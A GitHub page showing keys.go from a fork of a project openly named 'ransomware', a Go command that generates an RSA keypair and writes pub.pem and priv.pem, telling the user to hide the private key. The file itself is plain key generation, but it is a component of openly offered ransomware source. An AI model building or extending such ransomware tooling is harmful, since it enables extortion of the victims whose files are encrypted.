forked from marmos91/ransomware
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeys.go
44 lines (31 loc) · 964 Bytes
/
keys.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package cli
import (
"log"
"path/filepath"
"github.com/marmos91/ransomware/crypto"
"github.com/marmos91/ransomware/fs"
urfavecli "github.com/urfave/cli/v2"
)
const PUBLIC_KEY_NAME = "pub.pem"
const PRIVATE_KEY_NAME = "priv.pem"
func CreateKeys(ctx *urfavecli.Context) error {
path := ctx.String("path")
rsaKeypair, err := crypto.NewRandomRsaKeypair(crypto.RSA_KEY_SIZE)
if err != nil {
return err
}
absolutePath, err := filepath.Abs(path)
if err != nil {
return err
}
log.Println("Generated random keys at", absolutePath)
log.Printf("Hide your %s key!", PRIVATE_KEY_NAME)
privatePemContent := crypto.ExportRsaPrivateKeyAsPemStr(rsaKeypair.Private)
publicPemContent, err := crypto.ExportRsaPublicKeyAsPemStr(rsaKeypair.Public)
if err != nil {
return err
}
fs.WriteStringToFile(filepath.Join(path, PRIVATE_KEY_NAME), privatePemContent)
fs.WriteStringToFile(filepath.Join(path, PUBLIC_KEY_NAME), publicPemContent)
return nil
}